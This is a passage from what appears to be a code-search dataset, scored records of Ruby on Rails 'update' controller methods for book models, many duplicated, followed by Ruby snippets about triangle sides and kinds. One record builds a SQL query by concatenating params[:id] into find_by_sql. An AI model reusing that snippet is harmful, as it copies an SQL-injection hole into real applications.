"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a20f406522b66b2a1e2ead307ebd7e3",
"score": "0.6348269",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a20f406522b66b2a1e2ead307ebd7e3",
"score": "0.6348269",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a20f406522b66b2a1e2ead307ebd7e3",
"score": "0.6348269",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a20f406522b66b2a1e2ead307ebd7e3",
"score": "0.6348269",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a20f406522b66b2a1e2ead307ebd7e3",
"score": "0.6348269",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "107b78e2cc606ec92b42af2952247e4c",
"score": "0.6342831",
"text": "def update\r\n respond_to do |format|\r\n if @book.update(book_params)\r\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\r\n format.json { render :show, status: :ok, location: @book }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @book.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "64f73358e037e396c0330a44cf9dcc99",
"score": "0.63264006",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: \"Book was successfully updated.\" }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "64f73358e037e396c0330a44cf9dcc99",
"score": "0.63264006",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: \"Book was successfully updated.\" }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d67d02b3c40a053ba2e7492ea47aaa9d",
"score": "0.6322527",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to current_user_path, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3a38734738e4ffeb3a583667d9e1870b",
"score": "0.6310069",
"text": "def manage_books\n\n end",
"title": ""
},
{
"docid": "eb742dbc968cc03643047297110cfd72",
"score": "0.62902015",
"text": "def update\n @book = Book.find_by_sql(\"SELECT * FROM Books B WHERE B.id = \" + params[:id]).first()\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to '/books', notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7f0fb3389ff4e265e5f462b516dd83d9",
"score": "0.6287835",
"text": "def update\r\n @book = Book.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @book.update_attributes(params[:book]) and @book.update_tags(params[:tag_ids])\r\n update_permission\r\n\r\n format.html {redirect_to books_url, notice: '信息已更新'}\r\n format.json { head :ok }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @book.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "68c4684e4cdff35ed28e74109fcb45ee",
"score": "0.62861174",
"text": "def update\n respond_to do |format|\n if @store.update(store_params)\n format.html { redirect_to @store, notice: 'Store was successfully updated.' }\n params[:books].each{\n |id|\n StoreBook.create(:store_id=>@store.id,:book_id=>id)\n }\n format.json { render :show, status: :ok, location: @store }\n else\n format.html { render :edit }\n format.json { render json: @store.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e5d412e517e30427eb0e587be64f45a1",
"score": "0.62750554",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book,\n notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n\n @books = Book.all\n ActionCable.server.broadcast 'books',\n html: render_to_string('library/index', layout: false)\n else\n format.html { render :edit }\n format.json { render json: @book.errors,\n status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8a492b49cb194fd405a9118d12dfc840",
"score": "0.6273631",
"text": "def update\n respond_to do |format|\n book_updater = UpdateBook.new(current_user, params[:id], book_params)\n book_updated = book_updater.update\n @book = book_updater.book\n\n if book_updated\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6b6d50da8883485709e045a2eb995929",
"score": "0.6268659",
"text": "def update\n @book = Book.find(params[:id])\n @book.update(book_params)\n redirect_to root_path\n end",
"title": ""
},
{
"docid": "dfcb425b09395a42ef253ddb3cf7e960",
"score": "0.62411046",
"text": "def update\n respond_to do |format|\n if @author_book.update(author_book_params)\n format.html { redirect_to @author_book, notice: 'Author book was successfully updated.' }\n format.json { render :show, status: :ok, location: @author_book }\n else\n format.html { render :edit }\n format.json { render json: @author_book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "21d30b86a24ded6b1316111ec093ce9d",
"score": "0.62266207",
"text": "def update\n authorize! :update, @student_book\n respond_to do |format|\n if @student_book.update(student_book_params)\n format.html { redirect_to student_student_books_path(@student), notice: 'Student book was successfully updated.' }\n format.json { render :show, status: :ok, location: @student_book }\n else\n format.html { render :edit }\n format.json { render json: @student_book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "16c4dcefca6678bec0f8996196971424",
"score": "0.6224562",
"text": "def update\n respond_to do |format|\n if @book.update(book_params_update)\n format.html { redirect_to @book, notice: '保存的信息!' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "898bff468260f9abbe75aa89cc6f492d",
"score": "0.6219294",
"text": "def update\n @authors_book = AuthorsBook.find(params[:id])\n\n respond_to do |format|\n if @authors_book.update_attributes(params[:authors_book])\n format.html { redirect_to @authors_book, notice: 'Authors book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @authors_book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9cf748596e0dca169ad57f10b7b1ee5c",
"score": "0.6217686",
"text": "def update\n\n respond_to do |format|\n if _create_or_update()\n\tformat.xml { render :xml => {:success=>true} }\n format.html { redirect_to @book_series, :notice => 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n\tformat.xml { head :fail }\n format.json { render :json => @book_series.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a42c78c43245192cd9801b6331f1d220",
"score": "0.62080306",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: @book.title + ' の更新に成功しました。' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5b4ebb907bd6ee3f14f0175c98fd477e",
"score": "0.6205885",
"text": "def update\n @book.update(book_params)\n respond_with(@book, :flash => true)\n end",
"title": ""
},
{
"docid": "0bba0ca0011d3af336efc1a82e6a7fcd",
"score": "0.6198",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: '本の情報を更新しました。' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "676e2d421d01f62039d5b3775698700d",
"score": "0.6194705",
"text": "def update\n respond_to do |format|\n if @book1.update(book1_params)\n format.html { redirect_to @book1, notice: \"Book1 was successfully updated.\" }\n format.json { render :show, status: :ok, location: @book1 }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @book1.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "315f49ec806a906e6eb34de1c9a4c1e9",
"score": "0.61920965",
"text": "def update\n respond_to do |format|\n if @books_author.update(books_author_params)\n format.html { redirect_to @books_author, notice: 'Books author was successfully updated.' }\n format.json { render :show, status: :ok, location: @books_author }\n else\n format.html { render :edit }\n format.json { render json: @books_author.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "43b3083bb09dcc4a2571470ee49a9dd0",
"score": "0.6190347",
"text": "def update\n @book.authors = params[:book][:authors].delete_if { |x| x == '' }.map { |i| Author.find(i) } if params[:book][:authors].present?\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3a68a364bba7cadb458aa18f823ccc49",
"score": "0.61897784",
"text": "def update\n respond_to do |format|\n if @store_book.update(store_book_params)\n format.html { redirect_to @store_book, notice: 'Store book was successfully updated.' }\n format.json { render :show, status: :ok, location: @store_book }\n else\n format.html { render :edit }\n format.json { render json: @store_book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0094873536412a62f2f7108b188e68ef",
"score": "0.61822766",
"text": "def update\n respond_to do |format|\n if @authors_book.update(authors_book_params)\n format.html { redirect_to @authors_book, notice: 'Authors book was successfully updated.' }\n format.json { render :show, status: :ok, location: @authors_book }\n else\n format.html { render :edit }\n format.json { render json: @authors_book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "358dc1a0e9b1990682d8964e3192e76c",
"score": "0.6174036",
"text": "def update\n @cookbook = Cookbook.find(params[:id])\n\n respond_to do |format|\n if @cookbook.update_attributes(params[:cookbook])\n format.html { redirect_to @cookbook, notice: 'Cookbook was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cookbook.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
64e9288766729f1e3c631b152b5e4bfc | returns which side is the normal side (based on kind) | [
{
"docid": "04d3b26a29ae006e334ec09376bee0d6",
"score": "0.7998377",
"text": "def normal_side_physical\n self.class.normal_side_physical(kind)\n end",
"title": ""
}
] | [
{
"docid": "9bbdfd5412cea6af35e4d2939b235601",
"score": "0.7482902",
"text": "def kind\n if @side_a == @side_b && @side_a == @side_c\n :equilateral\n elsif @side_a == @side_b || @side_b == @side_c || @side_c == @side_a\n :isosceles\n else\n :scalene\n end\n end",
"title": ""
},
{
"docid": "000862c51277758d0dd4431a5c29be54",
"score": "0.6727588",
"text": "def kind\n\n #got some help for the first if..elsif below from a fellow classmate's github:\n\n if side1 + side2 <= side3 || side1 + side3 <= side2 || side2 + side3 <= side1\n raise TriangleError\n\n elsif side1 < 0.0 || side2 < 0.0 || side3 < 0.0\n raise TriangleError\n\n elsif ((side1 == side2) && (side1 == side3) && (side2 == side3))\n :equilateral\n elsif ((side1 == side2) || (side1 == side3) || (side2 == side3))\n :isosceles\n elsif (side1 != side2) && (side1 != side3)\n :scalene\n end\n end",
"title": ""
},
{
"docid": "ac27a9f3eb014d25db1edfca133d3c69",
"score": "0.6690208",
"text": "def kind\n if @side_1 <= 0 || @side_2 <= 0 || @side_3 <= 0\n raise TriangleError\n elsif @side_1 + @side_2 <= @side_3 || @side_1 + @side_3 <= @side_2 || @side_2 + @side_3 <= @side_1\n raise TriangleError\n else\n if @side_2 == @side_1 && @side_3 == @side_1\n :equilateral\n elsif @side_2 == @side_3 || @side_1 == @side_2 || @side_1 == @side_3\n :isosceles\n else\n :scalene\n end\n end\n end",
"title": ""
},
{
"docid": "a8295a753d275c21642af4b2deff2d8d",
"score": "0.656037",
"text": "def kind\n if @side1 <= 0\n raise TriangleError\n elsif @side2 <= 0\n raise TriangleError\n elsif @side3 <= 0\n raise TriangleError\n end\n\n if (@side1 + @side2) <= @side3 || (@side2 + @side3) <= @side1 || (@side1 + @side3) <= @side2\n raise TriangleError\n elsif (@side1 == @side2)&&(@side2 == @side3)&&(@side3 == @side1)\n return :equilateral\n elsif (@side1 != @side2)&&(@side2 != @side3)&&(@side3 != @side1)\n return :scalene\n else\n return :isosceles\n end\n\n\n\n\n\n end",
"title": ""
},
{
"docid": "d47961738f296d96974bda6f68aef3df",
"score": "0.65497893",
"text": "def side\n @side\n end",
"title": ""
},
{
"docid": "306f501cfc687e6db8401d62085d2e18",
"score": "0.6364248",
"text": "def kind\n# if [side1, side2, side3].uniq?\n# return :scalene\n# elsif side1 == side2 and side2 == side3\n# # self = equilateral\n# return :equilateral\n# else\n# return :isosceles\n# end\n\n\n# if side1 || side2 || side3 < 0\n# begin\n# raise TriangleError\n# rescue TriangleError => error\n# puts error.message\n# end\n if side1 <= 0 || side2 <= 0 || side3 <= 0\n raise TriangleError\n elsif (side1 + side2) <= side3 || (side2 + side3) <= side1 || (side1 + side3) <= side2\n raise TriangleError\n elsif side1 == side2 and side2 == side3\n #self = equilateral\n return :equilateral\n elsif\n side1 == side2 || side2 == side3 || side1 == side3\n #side1 == side2 and side1 != side3 || side2 == side3 and side1 != side3\n # self = isosceles\n return :isosceles\n else\n #self = scalene\n return :scalene\n end\n\n\n end",
"title": ""
},
{
"docid": "b489a399c6c5903dbee67b136abc6af1",
"score": "0.6175276",
"text": "def sideUnknown \n \"sideUnknown\" \n end",
"title": ""
},
{
"docid": "b6cf3472539f69d3a001f3e19a2dedd4",
"score": "0.61079895",
"text": "def side(side)\n @side = side.to_s.downcase.to_sym\n end",
"title": ""
},
{
"docid": "703b437fe8b6a3873a0a7c201b8e8e65",
"score": "0.6046394",
"text": "def kind \n return @raw.kind \n end",
"title": ""
},
{
"docid": "1d6bf3c5ddae6d436b2f0fa8a2decf9c",
"score": "0.5890612",
"text": "def s; @side.to_s[0,1]; end",
"title": ""
},
{
"docid": "28d8cad3c3cecbb8615d03dfc2ad07a0",
"score": "0.5880644",
"text": "def sides\n [@side, @side, @side, @side]\n end",
"title": ""
},
{
"docid": "fbc48b868bd66dcd2ce1ca62aca80d3e",
"score": "0.5878294",
"text": "def h?\n @side == :right || @side == :left\n end",
"title": ""
},
{
"docid": "d88785692c892a6ebc6a648926aab49f",
"score": "0.585463",
"text": "def half( side )\n case side\n when :u; size.dup.y * ( 0.5 )\n when :d; size.dup.y * ( 0.5 )\n when :l; size.dup.x * ( 0.5 )\n when :r; size.dup.x * ( 0.5 )\n when :v; size.dup.y * ( 0.5 )\n when :h; size.dup.x * ( 0.5 )\n end\n end",
"title": ""
},
{
"docid": "cf619aa45874005bbbbb284c68d71603",
"score": "0.57693666",
"text": "def sides\n @sides\n end",
"title": ""
},
{
"docid": "888e32076c34ce521f0ea9c3a2e50779",
"score": "0.56926525",
"text": "def kind\n return @kind\n end",
"title": ""
},
{
"docid": "888e32076c34ce521f0ea9c3a2e50779",
"score": "0.56926525",
"text": "def kind\n return @kind\n end",
"title": ""
},
{
"docid": "3ebc5e5d551f0ada84322ae31d9ca91d",
"score": "0.5564504",
"text": "def side_moving\n return @piece_moving.side if @piece_moving\n end",
"title": ""
},
{
"docid": "d6e0409246dd84b3488fef867e1304a8",
"score": "0.5559933",
"text": "def side( spot )\n ret = nil\n case spot\n when :u; ret = xy1\n when :d; ret = xy2\n when :l; ret = x1y\n when :r; ret = x2y\n else; raise RuntimeError, \"Unknown side spot: #{spot}\"\n end\n ret\n end",
"title": ""
},
{
"docid": "ee9f66b93e0d61e486610fad0f5bb37c",
"score": "0.55368364",
"text": "def v?\n @side == :top || @side == :bottom\n end",
"title": ""
},
{
"docid": "8a8a470ae542d673e138f7328058a80b",
"score": "0.5535493",
"text": "def kind\n # returns nil, overridden and returning :question, :problem, etc. in sublcass\n end",
"title": ""
},
{
"docid": "d7bae3791f4f0abb79b2060c1332015c",
"score": "0.55227286",
"text": "def determine_side(side)\n if side == Order::SIDE_ASK\n return @asks\n elsif side == Order::SIDE_BID\n return @bids\n end\n raise ArgumentError 'Unexpected side'\n end",
"title": ""
},
{
"docid": "c705ada3e34e88797dd439db09e99f65",
"score": "0.5507393",
"text": "def get_kind\n\t\tend",
"title": ""
},
{
"docid": "a6ef35394870e8c2f179d8520504756c",
"score": "0.55070364",
"text": "def kind\n attributes.fetch(:kind)\n end",
"title": ""
},
{
"docid": "a6ef35394870e8c2f179d8520504756c",
"score": "0.55070364",
"text": "def kind\n attributes.fetch(:kind)\n end",
"title": ""
},
{
"docid": "a6ef35394870e8c2f179d8520504756c",
"score": "0.55070364",
"text": "def kind\n attributes.fetch(:kind)\n end",
"title": ""
},
{
"docid": "a6ef35394870e8c2f179d8520504756c",
"score": "0.55070364",
"text": "def kind\n attributes.fetch(:kind)\n end",
"title": ""
},
{
"docid": "a6ef35394870e8c2f179d8520504756c",
"score": "0.55070364",
"text": "def kind\n attributes.fetch(:kind)\n end",
"title": ""
},
{
"docid": "a6ef35394870e8c2f179d8520504756c",
"score": "0.55070364",
"text": "def kind\n attributes.fetch(:kind)\n end",
"title": ""
},
{
"docid": "c704a5392a1bb50119ad5b791b29b947",
"score": "0.5505514",
"text": "def kind\n self.class.kind\n end",
"title": ""
},
{
"docid": "c704a5392a1bb50119ad5b791b29b947",
"score": "0.5505514",
"text": "def kind\n self.class.kind\n end",
"title": ""
},
{
"docid": "c704a5392a1bb50119ad5b791b29b947",
"score": "0.5505514",
"text": "def kind\n self.class.kind\n end",
"title": ""
},
{
"docid": "0b4a3a17f24d30dd4203ae565a406243",
"score": "0.5497535",
"text": "def kind?(kind)\n Vpim::Methods.casecmp?(self.kind == kind)\n end",
"title": ""
},
{
"docid": "4f10420aaf4d48dfd4692943e534c8eb",
"score": "0.5489561",
"text": "def kind_identifier\n kind ? kind.identifier : nil\n end",
"title": ""
},
{
"docid": "cfa18947ca1c7a119312d4e68231d632",
"score": "0.5470548",
"text": "def kind\n type.to_s.underscore[5..-1]\n end",
"title": ""
},
{
"docid": "cdc8a0be871c9765f45111dde1664b01",
"score": "0.54679906",
"text": "def kind\n self.class.kind\n end",
"title": ""
},
{
"docid": "21de4c40fb3fc125451573d483dd6893",
"score": "0.5462038",
"text": "def type_normal?\n return type?(GameData::Types::NORMAL)\n end",
"title": ""
},
{
"docid": "bc045d512459c9371cda0aa6737a5b41",
"score": "0.54613286",
"text": "def normal\n attributes.normal\n end",
"title": ""
},
{
"docid": "df7a5d3c11b29e2fb1d7de9992dee28f",
"score": "0.54421264",
"text": "def kind; end",
"title": ""
},
{
"docid": "df7a5d3c11b29e2fb1d7de9992dee28f",
"score": "0.54421264",
"text": "def kind; end",
"title": ""
},
{
"docid": "df7a5d3c11b29e2fb1d7de9992dee28f",
"score": "0.54421264",
"text": "def kind; end",
"title": ""
},
{
"docid": "df7a5d3c11b29e2fb1d7de9992dee28f",
"score": "0.54421264",
"text": "def kind; end",
"title": ""
},
{
"docid": "df7a5d3c11b29e2fb1d7de9992dee28f",
"score": "0.54421264",
"text": "def kind; end",
"title": ""
},
{
"docid": "df7a5d3c11b29e2fb1d7de9992dee28f",
"score": "0.54421264",
"text": "def kind; end",
"title": ""
},
{
"docid": "8ebaba584ead1fb19ce3606e59e6bec2",
"score": "0.54361385",
"text": "def sideline_seg( side )\n l = nil\n case side\n when :u; l = Gseg.new_by_pos( x1y1, x2y1 )\n when :d; l = Gseg.new_by_pos( x1y2, x2y2 )\n when :l; l = Gseg.new_by_pos( x1y1, x1y2 )\n when :r; l = Gseg.new_by_pos( x2y1, x2y2 )\n else; l = nil\n end\n l\n end",
"title": ""
},
{
"docid": "b493cb1bc3dba3d33de7f43bbb095271",
"score": "0.54280627",
"text": "def kind\n self.name.underscore.to_sym\n end",
"title": ""
},
{
"docid": "b493cb1bc3dba3d33de7f43bbb095271",
"score": "0.54280627",
"text": "def kind\n self.name.underscore.to_sym\n end",
"title": ""
},
{
"docid": "8fac0274ee8ef0416c7679f2c177d298",
"score": "0.54175925",
"text": "def sideFriendly \n \"sideFriendly\" \n end",
"title": ""
},
{
"docid": "0a80a50c2432061a66e15312e3b6032a",
"score": "0.5395397",
"text": "def kind\n @ole.Kind\n end",
"title": ""
},
{
"docid": "0a80a50c2432061a66e15312e3b6032a",
"score": "0.5395397",
"text": "def kind\n @ole.Kind\n end",
"title": ""
},
{
"docid": "0a80a50c2432061a66e15312e3b6032a",
"score": "0.5395397",
"text": "def kind\n @ole.Kind\n end",
"title": ""
},
{
"docid": "0a80a50c2432061a66e15312e3b6032a",
"score": "0.5395397",
"text": "def kind\n @ole.Kind\n end",
"title": ""
},
{
"docid": "0a80a50c2432061a66e15312e3b6032a",
"score": "0.5395397",
"text": "def kind\n @ole.Kind\n end",
"title": ""
},
{
"docid": "0a80a50c2432061a66e15312e3b6032a",
"score": "0.5395397",
"text": "def kind\n @ole.Kind\n end",
"title": ""
},
{
"docid": "aea457d24b6786f7f01b27e14a7cca72",
"score": "0.53584355",
"text": "def empty_side\n sides = [2,4,6,8]\n sides.each do |side|\n return side if @game.game.free_position?(side)\n end\n end",
"title": ""
},
{
"docid": "47c69570154551a1e886142110a3dc23",
"score": "0.5357209",
"text": "def side(p_)\n px_ = p_.x\n py_ = p_.y\n (@sx - px_) * (@ey - py_) - (@sy - py_) * (@ex - px_)\n end",
"title": ""
},
{
"docid": "27c34f00d6b4882abee1b98c2074a721",
"score": "0.5334541",
"text": "def match_sides\n if @side1 == @side2 && @side1 == @side3\n return 3\n elsif @side1 == @side2 || @side1 == @side3\n return 2\n elsif @side1 == @side2 || @side2 == @side3\n return 2\n else\n return 1\n end\n end",
"title": ""
},
{
"docid": "7e97ea0beb560b91704e1ea0e09c4e64",
"score": "0.53134775",
"text": "def sides\n \t@labels.length #return 6\n end",
"title": ""
},
{
"docid": "068b086295d1bf978d294254ad9cb73f",
"score": "0.52857417",
"text": "def side_from_sas(side1, angle, side2)\n Math.sqrt(\n (\n side1**2 + side2**2\n ) - (\n 2 * side1 * side2 * Math.cos(\n (angle * (Math::PI / 180))\n )\n )\n )\n end",
"title": ""
},
{
"docid": "51f88ad22e5b9ccd08b9525c4a98152f",
"score": "0.5279755",
"text": "def kind\n [:default, :bar, :baz][ self[:kind] ]\n end",
"title": ""
},
{
"docid": "e8056a0aa1cb51c5330ddd6cf57db981",
"score": "0.5267301",
"text": "def sides\n [a, b, c]\n end",
"title": ""
},
{
"docid": "6f3fb86a5f19030287a9f5932675f9a8",
"score": "0.52667993",
"text": "def get_part_pos side\n\t\tcase side\n\t\twhen :left\n\t\t\treturn @pos\n\t\twhen :right\n\t\t\treturn @pos + Settings.screen[:w].to_f\n\t\twhen :center\n\t\t\treturn @pos + (Settings.screen[:w].to_f / 2.0)\n\t\tend\n\tend",
"title": ""
},
{
"docid": "bc48513ac0d8f88f50848941d4af8fa1",
"score": "0.5263837",
"text": "def sidepos( side, relpos )\n t = nil\n\n case side\n\n when :u;\n t = x1y1\n t.xset ( t.x + ( size.x.to_f * relpos[0] / relpos[1] ) ).coord\n\n when :d;\n t = x1y2\n t.xset ( t.x + ( size.x.to_f * relpos[0] / relpos[1] ) ).coord\n\n when :l;\n t = x1y1\n t.yset ( t.y + ( size.y.to_f * relpos[0] / relpos[1] ) ).coord\n\n when :r;\n t = x2y1\n t.yset ( t.y + ( size.y.to_f * relpos[0] / relpos[1] ) ).coord\n\n end\n\n t\n end",
"title": ""
},
{
"docid": "c43300f989cd47e2a9396ae61e26d0aa",
"score": "0.5252728",
"text": "def side_length\n\t\ttop = (@num_sides - 2) * Math::PI\n\t\tangle = top / (2 * @num_sides)\n\t\t@side_length = 2 * Math.cos(angle)\n\tend",
"title": ""
},
{
"docid": "33cb2b879794de1328f03de8d639c4fe",
"score": "0.524461",
"text": "def normal?\n magnitude == 1\n end",
"title": ""
},
{
"docid": "c4335e9bc8c13516ce99adc6cc91f0af",
"score": "0.52367353",
"text": "def recto_verso!\n self.type= 'physical' unless self.type == 'physical'\n self.label= 'Sides' unless self.label == 'Sides'\n create_div_node struct_map, {:order=>'1'} unless divs_with_attribute(false,'ORDER','1').first\n create_div_node struct_map, {:order=>'2'} unless divs_with_attribute(false,'ORDER','2').first\n if (div = divs_with_attribute(false,'ORDER','1').first)\n div['LABEL'] = 'Recto' unless div['LABEL'] == 'Recto'\n end\n if (div = divs_with_attribute(false,'ORDER','2').first)\n div['LABEL'] = 'Verso' unless div['LABEL'] == 'Verso'\n end\n struct_map\n end",
"title": ""
},
{
"docid": "d1e989cb40986c7698e2eb0aa723ecbf",
"score": "0.5209747",
"text": "def side\n pick_empty([ [0, 1], [1, 0], [1, 2], [2, 1] ])\n end",
"title": ""
},
{
"docid": "4682dede6f930f084c8ca2b351642f5b",
"score": "0.5153223",
"text": "def is_scalene?\n !has_dups(self.sides.map { |side| side.length })\n end",
"title": ""
},
{
"docid": "5bbb8cd34cab6bb7a97c90991dacb8d9",
"score": "0.51491493",
"text": "def sides\n [@length, @breadth, @length, @breadth]\n end",
"title": ""
},
{
"docid": "1a6460a7b2152d33b8aee7f17a2b1c67",
"score": "0.5134686",
"text": "def normal\n end",
"title": ""
},
{
"docid": "1a6460a7b2152d33b8aee7f17a2b1c67",
"score": "0.5134686",
"text": "def normal\n end",
"title": ""
},
{
"docid": "1c44197508bde4dd5fc1112e27e667e7",
"score": "0.5115846",
"text": "def rectype\n part.rectype if part\n end",
"title": ""
},
{
"docid": "d42c91042eefef3abea17af173d2cd52",
"score": "0.51111925",
"text": "def allowedSide?(side)\n (allowedSides & side) != 0\n end",
"title": ""
},
{
"docid": "27c2f95fc2dd8e6007e2760edde45476",
"score": "0.50884926",
"text": "def empty_side(board)\n\t\tSIDES.each do |side|\n\t\t\tif board[side] == \" \"\n\t\t\t\treturn side\n\t\t\tend\n\t\tend\n\t\treturn false\n\tend",
"title": ""
},
{
"docid": "649a9912ca0a5da55349c625f99b0b17",
"score": "0.50560987",
"text": "def normal?\n\t !self.significant?\n\t end",
"title": ""
},
{
"docid": "af5f85ec211e96419f3f93f33991e9c6",
"score": "0.5039655",
"text": "def transform_child_kind(kind)\n if parent\n parent.transform_child_kind(kind)\n else\n kind\n end\n end",
"title": ""
},
{
"docid": "f8e8a9d2b61118945f15a972619bdfd6",
"score": "0.5029916",
"text": "def kind!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 24 )\n\n type = KIND\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 158:8: 'kind'\n match( \"kind\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 24 )\n\n end",
"title": ""
},
{
"docid": "b412385e684b7e1c18deb2fd089e5e13",
"score": "0.5024588",
"text": "def kind\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "5eba6f6ef2e26cb809f4650b9ca83086",
"score": "0.5012704",
"text": "def directionality\n return @directionality\n end",
"title": ""
},
{
"docid": "d862c7e5db4934e13aa032bf8deff9ef",
"score": "0.50114536",
"text": "def normal\n first\n end",
"title": ""
},
{
"docid": "1adee2a62da4c0716e0503aee2517d6f",
"score": "0.5008267",
"text": "def perimeter\n\n return @side_len * 4\n\n end",
"title": ""
},
{
"docid": "b2721d77cc2cf1abf4b0787fa8b26dad",
"score": "0.49988517",
"text": "def setSidedness!(sided)\n\t \t if sided == Upper.tail then\n\t \t @pvalue = 1.0-@pvalue\n\t \t elsif sided == Two.sided then\n\t \t @pvalue = [(1.0-@pvalue)*2.0, @pvalue*2.0].min\n\t \tend\n end",
"title": ""
},
{
"docid": "a708fdb610f91800ce9930506425c378",
"score": "0.49943236",
"text": "def inverse_type; end",
"title": ""
},
{
"docid": "f63a0fabfae3d3d503c3a5940bd35545",
"score": "0.49909353",
"text": "def adjustment_side(offset)\n offset.negative? ? \"A Side\" : \"B Side\"\nend",
"title": ""
},
{
"docid": "9a83c5ea57298dbe602d637f97f4788e",
"score": "0.49882847",
"text": "def dir_sym\n if grid.include?(self.direction_vector.direction.leap)\n self.direction_vector.direction.leap\n elsif grid.include?(self.direction_vector.direction.normal)\n self.direction_vector.direction.normal\n else\n nil\n end\n end",
"title": ""
},
{
